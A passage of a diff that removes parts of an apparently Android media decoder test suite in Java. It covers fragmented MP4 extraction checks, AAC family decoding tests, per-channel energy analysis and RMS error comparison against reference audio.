-                    continue;
-                }
-                assertEquals("unexpected color transfer request value from input format",
-                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO, transferRequest);
-                decoder.start();
-                try {
-                    assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));
-                } catch (InterruptedException e) {
-                    fail("playback interrupted");
-                }
-                if (DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
-                    Thread.sleep(5000);
-                }
-                decoder.stop();
-                decoder.release();
-            }
-        } finally {
-            if (decoder != null) {
-                decoder.release();
-            }
-            if (extractor != null) {
-                extractor.release();
-            }
-            handlerThread.getLooper().quit();
-            handlerThread.join();
-        }
-    }
-
-    public void testDecodeFragmented() throws Exception {
-        testDecodeFragmented("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
-                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4");
-        testDecodeFragmented("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
-                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_dash.mp4");
-    }
-
-    private void testDecodeFragmented(final String reference, final String teststream)
-            throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + reference);
-        Preconditions.assertTestFileExists(mInpPrefix + teststream);
-        try {
-            MediaExtractor ex1 = new MediaExtractor();
-            ex1.setDataSource(mInpPrefix + reference);
-            MediaExtractor ex2 = new MediaExtractor();
-            ex2.setDataSource(mInpPrefix + teststream);
-
-            assertEquals("different track count", ex1.getTrackCount(), ex2.getTrackCount());
-
-            ByteBuffer buf1 = ByteBuffer.allocate(1024*1024);
-            ByteBuffer buf2 = ByteBuffer.allocate(1024*1024);
-
-            for (int i = 0; i < ex1.getTrackCount(); i++) {
-                // note: this assumes the tracks are reported in the order in which they appear
-                // in the file.
-                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                ex1.selectTrack(i);
-                ex2.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
-                ex2.selectTrack(i);
-
-                while(true) {
-                    int n1 = ex1.readSampleData(buf1, 0);
-                    int n2 = ex2.readSampleData(buf2, 0);
-                    assertEquals("different buffer size on track " + i, n1, n2);
-
-                    if (n1 < 0) {
-                        break;
-                    }
-                    // see bug 13008204
-                    buf1.limit(n1);
-                    buf2.limit(n2);
-                    buf1.rewind();
-                    buf2.rewind();
-
-                    assertEquals("limit does not match return value on track " + i,
-                            n1, buf1.limit());
-                    assertEquals("limit does not match return value on track " + i,
-                            n2, buf2.limit());
-
-                    assertEquals("buffer data did not match on track " + i, buf1, buf2);
-
-                    ex1.advance();
-                    ex2.advance();
-                }
-                ex1.unselectTrack(i);
-                ex2.unselectTrack(i);
-            }
-        } catch (IOException e) {
-            e.printStackTrace();
-        }
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC-LC mono and stereo streams
-     */
-    public void testDecodeAacLcM4a() throws Exception {
-        // mono
-        decodeNtest("sinesweep1_1ch_8khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_11khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_12khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_16khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_22khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_24khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_32khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_44khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep1_1ch_48khz_aot2_mp4.m4a", 40.f);
-        // stereo
-        decodeNtest("sinesweep_2ch_8khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_11khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_12khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_16khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_22khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_24khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_32khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_44khz_aot2_mp4.m4a", 40.f);
-        decodeNtest("sinesweep_2ch_48khz_aot2_mp4.m4a", 40.f);
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC-LC 5.0 and 5.1 channel streams
-     */
-    public void testDecodeAacLcMcM4a() throws Exception {
-        for (String codecName : codecsFor("noise_6ch_48khz_aot2_mp4.m4a")) {
-            AudioParameter decParams = new AudioParameter();
-            short[] decSamples = decodeToMemory(codecName, decParams,
-                    "noise_6ch_48khz_aot2_mp4.m4a", RESET_MODE_NONE,
-                    CONFIG_MODE_NONE, -1, null);
-            checkEnergy(decSamples, decParams, 6);
-            decParams.reset();
-
-            decSamples = decodeToMemory(codecName, decParams, "noise_5ch_44khz_aot2_mp4.m4a",
-                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
-            checkEnergy(decSamples, decParams, 5);
-            decParams.reset();
-        }
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 HE-AAC mono and stereo streams
-     */
-    public void testDecodeHeAacM4a() throws Exception {
-        Object [][] samples = {
-                //  {resource, numChannels},
-                {"noise_1ch_24khz_aot5_dr_sbr_sig1_mp4.m4a", 1},
-                {"noise_1ch_24khz_aot5_ds_sbr_sig1_mp4.m4a", 1},
-                {"noise_1ch_32khz_aot5_dr_sbr_sig2_mp4.m4a", 1},
-                {"noise_1ch_44khz_aot5_dr_sbr_sig0_mp4.m4a", 1},
-                {"noise_1ch_44khz_aot5_ds_sbr_sig2_mp4.m4a", 1},
-                {"noise_2ch_24khz_aot5_dr_sbr_sig2_mp4.m4a", 2},
-                {"noise_2ch_32khz_aot5_ds_sbr_sig2_mp4.m4a", 2},
-                {"noise_2ch_48khz_aot5_dr_sbr_sig1_mp4.m4a", 2},
-                {"noise_2ch_48khz_aot5_ds_sbr_sig1_mp4.m4a", 2},
-        };
-
-        for (Object [] sample: samples) {
-            for (String codecName : codecsFor((String)sample[0], CODEC_DEFAULT)) {
-                AudioParameter decParams = new AudioParameter();
-                short[] decSamples = decodeToMemory(codecName, decParams,
-                        (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
-                        -1, null);
-                checkEnergy(decSamples, decParams, (Integer)sample[1] /* number of channels */);
-                decParams.reset();
-            }
-        }
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
-     */
-    public void testDecodeHeAacMcM4a() throws Exception {
-        Object [][] samples = {
-                //  {resource, numChannels},
-                {"noise_5ch_48khz_aot5_dr_sbr_sig1_mp4.m4a", 5},
-                {"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6},
-        };
-        for (Object [] sample: samples) {
-            for (String codecName : codecsFor((String)sample[0] /* resource */, CODEC_DEFAULT)) {
-                AudioParameter decParams = new AudioParameter();
-                short[] decSamples = decodeToMemory(codecName, decParams,
-                        (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
-                        -1, null);
-                checkEnergy(decSamples, decParams, (Integer)sample[1] /* number of channels */);
-                decParams.reset();
-            }
-        }
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 HE-AAC v2 stereo streams
-     */
-    public void testDecodeHeAacV2M4a() throws Exception {
-        String [] samples = {
-                "noise_2ch_24khz_aot29_dr_sbr_sig0_mp4.m4a",
-                "noise_2ch_44khz_aot29_dr_sbr_sig1_mp4.m4a",
-                "noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a"
-        };
-        for (String sample: samples) {
-            for (String codecName : codecsFor(sample, CODEC_DEFAULT)) {
-                AudioParameter decParams = new AudioParameter();
-                short[] decSamples = decodeToMemory(codecName, decParams, sample,
-                        RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
-                checkEnergy(decSamples, decParams, 2);
-            }
-        }
-    }
-
-    /**
-     * Verify correct decoding of MPEG-4 AAC-ELD mono and stereo streams
-     */
-    public void testDecodeAacEldM4a() throws Exception {
-        // mono
-        decodeNtest("sinesweep1_1ch_16khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep1_1ch_22khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep1_1ch_24khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep1_1ch_32khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep1_1ch_44khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep1_1ch_48khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
-
-        // stereo
-        decodeNtest("sinesweep_2ch_16khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep_2ch_22khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep_2ch_24khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep_2ch_32khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep_2ch_44khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
-        decodeNtest("sinesweep_2ch_48khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
-
-        AudioParameter decParams = new AudioParameter();
-
-        Object [][] samples = {
-                //  {resource, numChannels},
-                {"noise_1ch_16khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
-                {"noise_1ch_24khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
-                {"noise_1ch_32khz_aot39_dr_sbr_fl480_mp4.m4a", 1},
-                {"noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
-                {"noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
-                {"noise_1ch_48khz_aot39_dr_sbr_fl480_mp4.m4a", 1},
-                {"noise_2ch_22khz_aot39_ds_sbr_fl512_mp4.m4a", 2},
-                {"noise_2ch_32khz_aot39_ds_sbr_fl512_mp4.m4a", 2},
-                {"noise_2ch_44khz_aot39_dr_sbr_fl480_mp4.m4a", 2},
-                {"noise_2ch_48khz_aot39_ds_sbr_fl512_mp4.m4a", 2},
-        };
-        for (Object [] sample: samples) {
-            for (String codecName : codecsFor((String)sample[0], CODEC_DEFAULT)) {
-                short[] decSamples = decodeToMemory(codecName, decParams,
-                        (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
-                        -1, null);
-                checkEnergy(decSamples, decParams, (Integer)sample[1] /* number of channels */);
-                decParams.reset();
-            }
-        }
-    }
-
-    /**
-     * Perform a segmented energy analysis on given audio signal samples and run several tests on
-     * the energy values.
-     *
-     * The main purpose is to verify whether an AAC decoder implementation applies Spectral Band
-     * Replication (SBR) and Parametric Stereo (PS) correctly. Both tools are inherent parts to the
-     * MPEG-4 HE-AAC and HE-AAC v2 audio codecs.
-     *
-     * In addition, this test can verify the correct decoding of multi-channel (e.g. 5.1 channel)
-     * streams or the creation of a mixdown signal.
-     *
-     * Note: This test procedure is not an MPEG Conformance Test and can not serve as a replacement.
-     *
-     * @param decSamples the decoded audio samples to be tested
-     * @param decParams the audio parameters of the given audio samples (decSamples)
-     * @param encNch the encoded number of audio channels (number of channels of the original
-     *               input)
-     * @param nrgRatioThresh threshold to classify the energy ratios ]0.0, 1.0[
-     * @throws RuntimeException
-     */
-    protected void checkEnergy(short[] decSamples, AudioParameter decParams, int encNch,
-                             float nrgRatioThresh) throws RuntimeException
-    {
-        final int nSegPerBlk = 4;                          // the number of segments per block
-        final int nCh = decParams.getNumChannels();        // the number of input channels
-        final int nBlkSmp = decParams.getSamplingRate();   // length of one (LB/HB) block [samples]
-        final int nSegSmp = nBlkSmp / nSegPerBlk;          // length of one segment [samples]
-        final int smplPerChan = decSamples.length / nCh;   // actual # samples per channel (total)
-
-        final int nSegSmpTot = nSegSmp * nCh;              // actual # samples per segment (all ch)
-        final int nSegChOffst = 2 * nSegPerBlk;            // signal offset between chans [segments]
-        final int procNch = Math.min(nCh, encNch);         // the number of channels to be analyzed
-        if (encNch > 4) {
-            assertTrue(String.format("multichannel content (%dch) was downmixed (%dch)",
-                    encNch, nCh), procNch > 4);
-        }
-        assertTrue(String.format("got less channels(%d) than encoded (%d)", nCh, encNch),
-                nCh >= encNch);
-
-        final int encEffNch = (encNch > 5) ? encNch-1 : encNch;  // all original configs with more
-                                                           // ... than five channel have an LFE */
-        final int expSmplPerChan = Math.max(encEffNch, 2) * nSegChOffst * nSegSmp;
-        final boolean isDmx = nCh < encNch;                // flag telling that input is dmx signal
-        int effProcNch = procNch;                          // the num analyzed channels with signal
-
-        assertTrue("got less input samples than expected", smplPerChan >= expSmplPerChan);
-
-        // get the signal offset by counting zero samples at the very beginning (over all channels)
-        final int zeroSigThresh = 1;                     // sample value threshold for signal search
-        int signalStart = smplPerChan;                   // receives the number of samples that
-                                                         // ... are in front of the actual signal
-        int noiseStart = signalStart;                    // receives the number of null samples
-                                                         // ... (per chan) at the very beginning
-        for (int smpl = 0; smpl < decSamples.length; smpl++) {
-            int value = Math.abs(decSamples[smpl]);
-            if (value > 0 && noiseStart == signalStart) {
-                noiseStart = smpl / nCh;                   // store start of prepended noise
-            }                                              // ... (can be same as signalStart)
-            if (value > zeroSigThresh) {
-                signalStart = smpl / nCh;                  // store signal start offset [samples]
-                break;
-            }
-        }
-        signalStart = (signalStart > noiseStart+1) ? signalStart : noiseStart;
-        assertTrue ("no signal found in any channel!", signalStart < smplPerChan);
-        final int totSeg = (smplPerChan-signalStart) / nSegSmp; // max num seg that fit into signal
-        final int totSmp = nSegSmp * totSeg;               // max num relevant samples (per channel)
-        assertTrue("no segments left to test after signal search", totSeg > 0);
-
-        // get the energies and the channel offsets by searching for the first segment above the
-        //  energy threshold
-        final double zeroMaxNrgRatio = 0.001f;             // ratio of zeroNrgThresh to the max nrg
-        double zeroNrgThresh = nSegSmp * nSegSmp;          // threshold to classify segment energies
-        double totMaxNrg = 0.0f;                           // will store the max seg nrg over all ch
-        double[][] nrg = new double[procNch][totSeg];      // array receiving the segment energies
-        int[] offset = new int[procNch];                   // array for channel offsets
-        boolean[] sigSeg = new boolean[totSeg];            // array receiving the segment ...
-                                                           // ... energy status over all channels
-        for (int ch = 0; ch < procNch; ch++) {
-            offset[ch] = -1;
-            for (int seg = 0; seg < totSeg; seg++) {
-                final int smpStart = (signalStart * nCh) + (seg * nSegSmpTot) + ch;
-                final int smpStop = smpStart + nSegSmpTot;
-                for (int smpl = smpStart; smpl < smpStop; smpl += nCh) {
-                    nrg[ch][seg] += decSamples[smpl] * decSamples[smpl];  // accumulate segment nrg
-                }
-                if (nrg[ch][seg] > zeroNrgThresh && offset[ch] < 0) { // store 1st segment (index)
-                    offset[ch] = seg / nSegChOffst;        // ... per ch which has energy above the
-                }                                          // ... threshold to get the ch offsets
-                if (nrg[ch][seg] > totMaxNrg) {
-                    totMaxNrg = nrg[ch][seg];              // store the max segment nrg over all ch
-                }
-                sigSeg[seg] |= nrg[ch][seg] > zeroNrgThresh;  // store whether the channel has
-                                                           // ... energy in this segment
-            }
-            if (offset[ch] < 0) {                          // if one channel has no signal it is
-                effProcNch -= 1;                           // ... most probably the LFE
-                offset[ch] = effProcNch;                   // the LFE is no effective channel
-            }
-            if (ch == 0) {                                 // recalculate the zero signal threshold
-                zeroNrgThresh = zeroMaxNrgRatio * totMaxNrg; // ... based on the 1st channels max
-            }                                              // ... energy for all subsequent checks
-        }
-        // check the channel mapping
-        assertTrue("more than one LFE detected", effProcNch >= procNch - 1);
-        assertTrue(String.format("less samples decoded than expected: %d < %d",
-                decSamples.length-(signalStart * nCh), totSmp * effProcNch),
-                decSamples.length-(signalStart * nCh) >= totSmp * effProcNch);
-        if (procNch >= 5) {                                // for multi-channel signals the only
-            final int[] frontChMap1 = {2, 0, 1};           // valid front channel orders are L, R, C
-            final int[] frontChMap2 = {0, 1, 2};           // or C, L, R (L=left, R=right, C=center)
-            if ( !(Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap1)
-                    || Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap2)) ) {
-                fail("wrong front channel mapping");
-            }
-        }
-        // check whether every channel occurs exactly once
-        int[] chMap = new int[nCh];                        // mapping array to sort channels
-        for (int ch = 0; ch < effProcNch; ch++) {
-            int occurred = 0;
-            for (int idx = 0; idx < procNch; idx++) {
-                if (offset[idx] == ch) {
-                    occurred += 1;
-                    chMap[ch] = idx;                       // create mapping table to address chans
-                }                                          // ... from front to back
-            }                                              // the LFE must be last
-            assertTrue(String.format("channel %d occurs %d times in the mapping", ch, occurred),
-                    occurred == 1);
-        }
-
-        // go over all segment energies in all channels and check them
-        double refMinNrg = zeroNrgThresh;                  // reference min energy for the 1st ch;
-                                                           // others will be compared against 1st
-        for (int ch = 0; ch < procNch; ch++) {
-            int idx = chMap[ch];                           // resolve channel mapping
-            final int ofst = offset[idx] * nSegChOffst;    // signal offset [segments]
-            if (ch < effProcNch && ofst < totSeg) {
-                int nrgSegEnd;                             // the last segment that has energy
-                int nrgSeg;                                // the number of segments with energy
-                if ((encNch <= 2) && (ch == 0)) {          // the first channel of a mono or ...
-                    nrgSeg = totSeg;                       // stereo signal has full signal ...
-                } else {                                   // all others have one LB + one HB block
-                    nrgSeg = Math.min(totSeg, (2 * nSegPerBlk) + ofst) - ofst;
-                }
-                nrgSegEnd = ofst + nrgSeg;
-                // find min and max energy of all segments that should have signal
-                double minNrg = nrg[idx][ofst];            // channels minimum segment energy
-                double maxNrg = nrg[idx][ofst];            // channels maximum segment energy
-                for (int seg = ofst+1; seg < nrgSegEnd; seg++) {          // values of 1st segment
-                    if (nrg[idx][seg] < minNrg) minNrg = nrg[idx][seg];   // ... already assigned
-                    if (nrg[idx][seg] > maxNrg) maxNrg = nrg[idx][seg];
-                }
-                assertTrue(String.format("max energy of channel %d is zero", ch),
-                        maxNrg > 0.0f);
-                assertTrue(String.format("channel %d has not enough energy", ch),
-                        minNrg >= refMinNrg);              // check the channels minimum energy
-                if (ch == 0) {                             // use 85% of 1st channels min energy as
-                    refMinNrg = minNrg * 0.85f;            // ... reference the other chs must meet
-                } else if (isDmx && (ch == 1)) {           // in case of mixdown signal the energy
-                    refMinNrg *= 0.50f;                    // ... can be lower depending on the
-                }                                          // ... downmix equation
-                // calculate and check the energy ratio
-                final double nrgRatio = minNrg / maxNrg;
-                assertTrue(String.format("energy ratio of channel %d below threshold", ch),
-                        nrgRatio >= nrgRatioThresh);
-                if (!isDmx) {
-                    if (nrgSegEnd < totSeg) {
-                        // consider that some noise can extend into the subsequent segment
-                        // allow this to be at max 20% of the channels minimum energy
-                        assertTrue(String.format("min energy after noise above threshold (%.2f)",
-                                nrg[idx][nrgSegEnd]),
-                                nrg[idx][nrgSegEnd] < minNrg * 0.20f);
-                        nrgSegEnd += 1;
-                    }
-                } else {                                   // ignore all subsequent segments
-                    nrgSegEnd = totSeg;                    // ... in case of a mixdown signal
-                }
-                // zero-out the verified energies to simplify the subsequent check
-                for (int seg = ofst; seg < nrgSegEnd; seg++) nrg[idx][seg] = 0.0f;
-            }
-            // check zero signal parts
-            for (int seg = 0; seg < totSeg; seg++) {
-                assertTrue(String.format("segment %d in channel %d has signal where should " +
-                        "be none (%.2f)", seg, ch, nrg[idx][seg]), nrg[idx][seg] < zeroNrgThresh);
-            }
-        }
-        // test whether each segment has energy in at least one channel
-        for (int seg = 0; seg < totSeg; seg++) {
-            assertTrue(String.format("no channel has energy in segment %d", seg), sigSeg[seg]);
-        }
-    }
-
-    private void checkEnergy(short[] decSamples, AudioParameter decParams, int encNch)
-            throws RuntimeException {
-        checkEnergy(decSamples, decParams, encNch, 0.50f);  // default energy ratio threshold: 0.50
-    }
-
-    /**
-     * Calculate the RMS of the difference signal between a given signal and the reference samples
-     * located in mMasterBuffer.
-     * @param signal the decoded samples to test
-     * @return RMS of error signal
-     * @throws RuntimeException
-     */
-    private double getRmsError(short[] signal) throws RuntimeException {
-        long totalErrorSquared = 0;
-        int stride = mMasterBuffer.length / signal.length;
-        assertEquals("wrong data size", mMasterBuffer.length, signal.length * stride);
-
-        for (int i = 0; i < signal.length; i++) {
-            short sample = signal[i];
-            short mastersample = mMasterBuffer[i * stride];
-            int d = sample - mastersample;
-            totalErrorSquared += d * d;
-        }
-        long avgErrorSquared = (totalErrorSquared / signal.length);
-        return Math.sqrt(avgErrorSquared);
-    }
-
-    /**
-     * Decode a given input stream and compare the output against the reference signal. The RMS of
-     * the error signal must be below the given threshold (maxerror).
-     * Important note about the test signals: this method expects test signals to have been
-     *   "stretched" relative to the reference signal. The reference, sinesweepraw, is 3s long at
-     *   44100Hz. For instance for comparing this reference to a test signal at 8000Hz, the test
-     *   signal needs to be 44100/8000 = 5.5125 times longer, containing frequencies 5.5125
-     *   times lower than the reference.
-     * @param testinput the file to decode
-     * @param maxerror  the maximum allowed root mean squared error
-     * @throws Exception
-     */
-    private void decodeNtest(final String testinput, float maxerror) throws Exception {
-        decodeNtest(testinput, maxerror, CODEC_ALL);
-    }
-
-    private void decodeNtest(final String testinput, float maxerror, int codecSupportMode)
-            throws Exception {
-        String localTag = TAG + "#decodeNtest";
-
-        for (String codecName: codecsFor(testinput, codecSupportMode)) {
-            AudioParameter decParams = new AudioParameter();
-            short[] decoded = decodeToMemory(codecName, decParams, testinput,
-                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
-            double rmse = getRmsError(decoded);
-
-            assertTrue(codecName + ": decoding error too big: " + rmse, rmse <= maxerror);
-            Log.v(localTag, String.format("rms = %f (max = %f)", rmse, maxerror));
-        }
-    }
-
-    private void monoTest(final String res, int expectedLength) throws Exception {
-        for (String codecName: codecsFor(res)) {
-            short [] mono = decodeToMemory(codecName, res,
-                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
-            if (mono.length == expectedLength) {
-                // expected
-            } else if (mono.length == expectedLength * 2) {
-                // the decoder output 2 channels instead of 1, check that the left and right channel
-                // are identical
-                for (int i = 0; i < mono.length; i += 2) {
-                    assertEquals(codecName + ": mismatched samples at " + i, mono[i], mono[i+1]);
-                }
-            } else {
-                fail(codecName + ": wrong number of samples: " + mono.length);
-            }
-
-            short [] mono2 = decodeToMemory(codecName, res,
-                    RESET_MODE_RECONFIGURE, CONFIG_MODE_NONE, -1, null);
-
-            assertEquals(codecName + ": count different after reconfigure: ",
-                    mono.length, mono2.length);
-            for (int i = 0; i < mono.length; i++) {
-                assertEquals(codecName + ": samples at " + i + " don't match", mono[i], mono2[i]);
-            }
-
-            short [] mono3 = decodeToMemory(codecName, res,
-                    RESET_MODE_FLUSH, CONFIG_MODE_NONE, -1, null);
-
-            assertEquals(codecName + ": count different after flush: ", mono.length, mono3.length);
-            for (int i = 0; i < mono.length; i++) {
-                assertEquals(codecName + ": samples at " + i + " don't match", mono[i], mono3[i]);
-            }
-        }
-    }
-
-    protected static List<String> codecsFor(String resource) throws IOException {
-        return codecsFor(resource, CODEC_ALL);
-    }
-
-    protected static List<String> codecsFor(String resource, int codecSupportMode)
-            throws IOException {
-        MediaExtractor ex = new MediaExtractor();
-        AssetFileDescriptor fd = getAssetFileDescriptorFor(resource);
-        try {
-            ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
-        } finally {
-            fd.close();
-        }
-        MediaCodecInfo[] codecInfos = new MediaCodecList(
-                MediaCodecList.REGULAR_CODECS).getCodecInfos();
-        ArrayList<String> matchingCodecs = new ArrayList<String>();
-        MediaFormat format = ex.getTrackFormat(0);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        for (MediaCodecInfo info: codecInfos) {
-            if (info.isEncoder()) {
-                continue;
-            }
-            try {
-                MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                if (caps != null) {
-                    if (codecSupportMode == CODEC_ALL) {
-                        matchingCodecs.add(info.getName());
-                    } else if (codecSupportMode == CODEC_DEFAULT) {
-                        if (caps.isFormatSupported(format)) {
-                            matchingCodecs.add(info.getName());
-                        } else if (isDefaultCodec(info.getName(), mime)) {
-                            fail(info.getName() + " which is a default decoder for mime " + mime
-                                   + ", does not declare support for " + format.toString());
-                        }
-                    } else {
-                        fail("Unhandled codec support mode " + codecSupportMode);
-                    }
-                }
-            } catch (IllegalArgumentException e) {
-                // type is not supported
-            }
-        }
-        assertTrue("no matching codecs found", matchingCodecs.size() != 0);
-        return matchingCodecs;
-    }
-
-    /**
-     * @param testinput the file to decode
-     * @param maxerror the maximum allowed root mean squared error
-     * @throws IOException
-     */
-    private void decode(final String testinput, float maxerror) throws IOException {
-
-        for (String codecName: codecsFor(testinput)) {
-            short[] decoded = decodeToMemory(codecName, testinput,
-                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
-
-            assertEquals(codecName + ": wrong data size", mMasterBuffer.length, decoded.length);
-
-            double rmse = getRmsError(decoded);
-
-            assertTrue(codecName + ": decoding error too big: " + rmse, rmse <= maxerror);
-
-            int[] resetModes = new int[] { RESET_MODE_NONE, RESET_MODE_RECONFIGURE,
-                    RESET_MODE_FLUSH, RESET_MODE_EOS_FLUSH };
-            int[] configModes = new int[] { CONFIG_MODE_NONE, CONFIG_MODE_QUEUE };
-
-            for (int conf : configModes) {
-                for (int reset : resetModes) {
-                    if (conf == CONFIG_MODE_NONE && reset == RESET_MODE_NONE) {
-                        // default case done outside of loop
-                        continue;
-                    }
-                    if (conf == CONFIG_MODE_QUEUE && !hasAudioCsd(testinput)) {
-                        continue;
-                    }
-
-                    String params = String.format("(using reset: %d, config: %s)", reset, conf);
-                    short[] decoded2 = decodeToMemory(codecName, testinput, reset, conf, -1, null);
-                    assertEquals(codecName + ": count different with reconfigure" + params,
-                            decoded.length, decoded2.length);
-                    for (int i = 0; i < decoded.length; i++) {
-                        assertEquals(codecName + ": samples don't match" + params,
-                                decoded[i], decoded2[i]);
-                    }
-                }
-            }
-        }
-    }
-
-    private boolean hasAudioCsd(final String testinput) throws IOException {
-        AssetFileDescriptor fd = null;
-        try {
-            MediaExtractor extractor = new MediaExtractor();
-            extractor.setDataSource(mInpPrefix + testinput);
-            MediaFormat format = extractor.getTrackFormat(0);
-
-            return format.containsKey(CSD_KEYS[0]);
-
-        } finally {
-            if (fd != null) {
-                fd.close();
-            }
-        }
-    }
-
-    protected static int getOutputFormatInteger(MediaCodec codec, String key) {
-        if (codec == null) {
-            fail("Null MediaCodec before attempting to retrieve output format key " + key);
-        }
-        MediaFormat format = null;
-        try {
-            format = codec.getOutputFormat();
-        } catch (Exception e) {
-            fail("Exception " + e + " when attempting to obtain output format");
-        }
-        if (format == null) {
-            fail("Null output format returned from MediaCodec");
-        }
-        try {
-            return format.getInteger(key);
-        } catch (NullPointerException e) {
-            fail("Key " + key + " not present in output format");
-        } catch (ClassCastException e) {
-            fail("Key " + key + " not stored as integer in output format");
-        } catch (Exception e) {
-            fail("Exception " + e + " when attempting to retrieve output format key " + key);
-        }
-        // never used
-        return Integer.MIN_VALUE;
-    }
-
-    // Class handling all audio parameters relevant for testing
-    protected static class AudioParameter {
-
-        public AudioParameter() {
-            this.reset();
-        }
-
-        public void reset() {
-            this.numChannels = 0;
-            this.samplingRate = 0;
-        }
-
-        public int getNumChannels() {
-            return this.numChannels;
-        }
-
-        public int getSamplingRate() {
-            return this.samplingRate;
-        }
-
-        public void setNumChannels(int numChannels) {
-            this.numChannels = numChannels;
-        }
-
-        public void setSamplingRate(int samplingRate) {
-            this.samplingRate = samplingRate;
-        }
-
-        private int numChannels;
-        private int samplingRate;
-    }
-
-    private short[] decodeToMemory(String codecName, final String testinput, int resetMode,
-            int configMode, int eossample, List<Long> timestamps) throws IOException {
-
-        AudioParameter audioParams = new AudioParameter();
-        return decodeToMemory(codecName, audioParams, testinput,
-                resetMode, configMode, eossample, timestamps);
-    }
-
-    private short[] decodeToMemory(String codecName, AudioParameter audioParams,
-            final String testinput, int resetMode, int configMode, int eossample,
-            List<Long> timestamps) throws IOException {
-        String localTag = TAG + "#decodeToMemory";
-        Log.v(localTag, String.format("reset = %d; config: %s", resetMode, configMode));
-        short [] decoded = new short[0];
-        int decodedIdx = 0;
-
-        MediaExtractor extractor;
-        MediaCodec codec;
-        ByteBuffer[] codecInputBuffers;
-        ByteBuffer[] codecOutputBuffers;
-
-        extractor = new MediaExtractor();
-        extractor.setDataSource(mInpPrefix + testinput);
-
-        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
-        MediaFormat format = extractor.getTrackFormat(0);
-        String mime = format.getString(MediaFormat.KEY_MIME);
-        assertTrue("not an audio file", mime.startsWith("audio/"));
-
-        MediaFormat configFormat = format;
-        codec = MediaCodec.createByCodecName(codecName);
-        if (configMode == CONFIG_MODE_QUEUE && format.containsKey(CSD_KEYS[0])) {
-            configFormat = MediaFormat.createAudioFormat(mime,
-                    format.getInteger(MediaFormat.KEY_SAMPLE_RATE),
-                    format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
-
-            configFormat.setLong(MediaFormat.KEY_DURATION,
-                    format.getLong(MediaFormat.KEY_DURATION));
-            String[] keys = new String[] { "max-input-size", "encoder-delay", "encoder-padding" };
-            for (String k : keys) {
-                if (format.containsKey(k)) {
-                    configFormat.setInteger(k, format.getInteger(k));
-                }
-            }
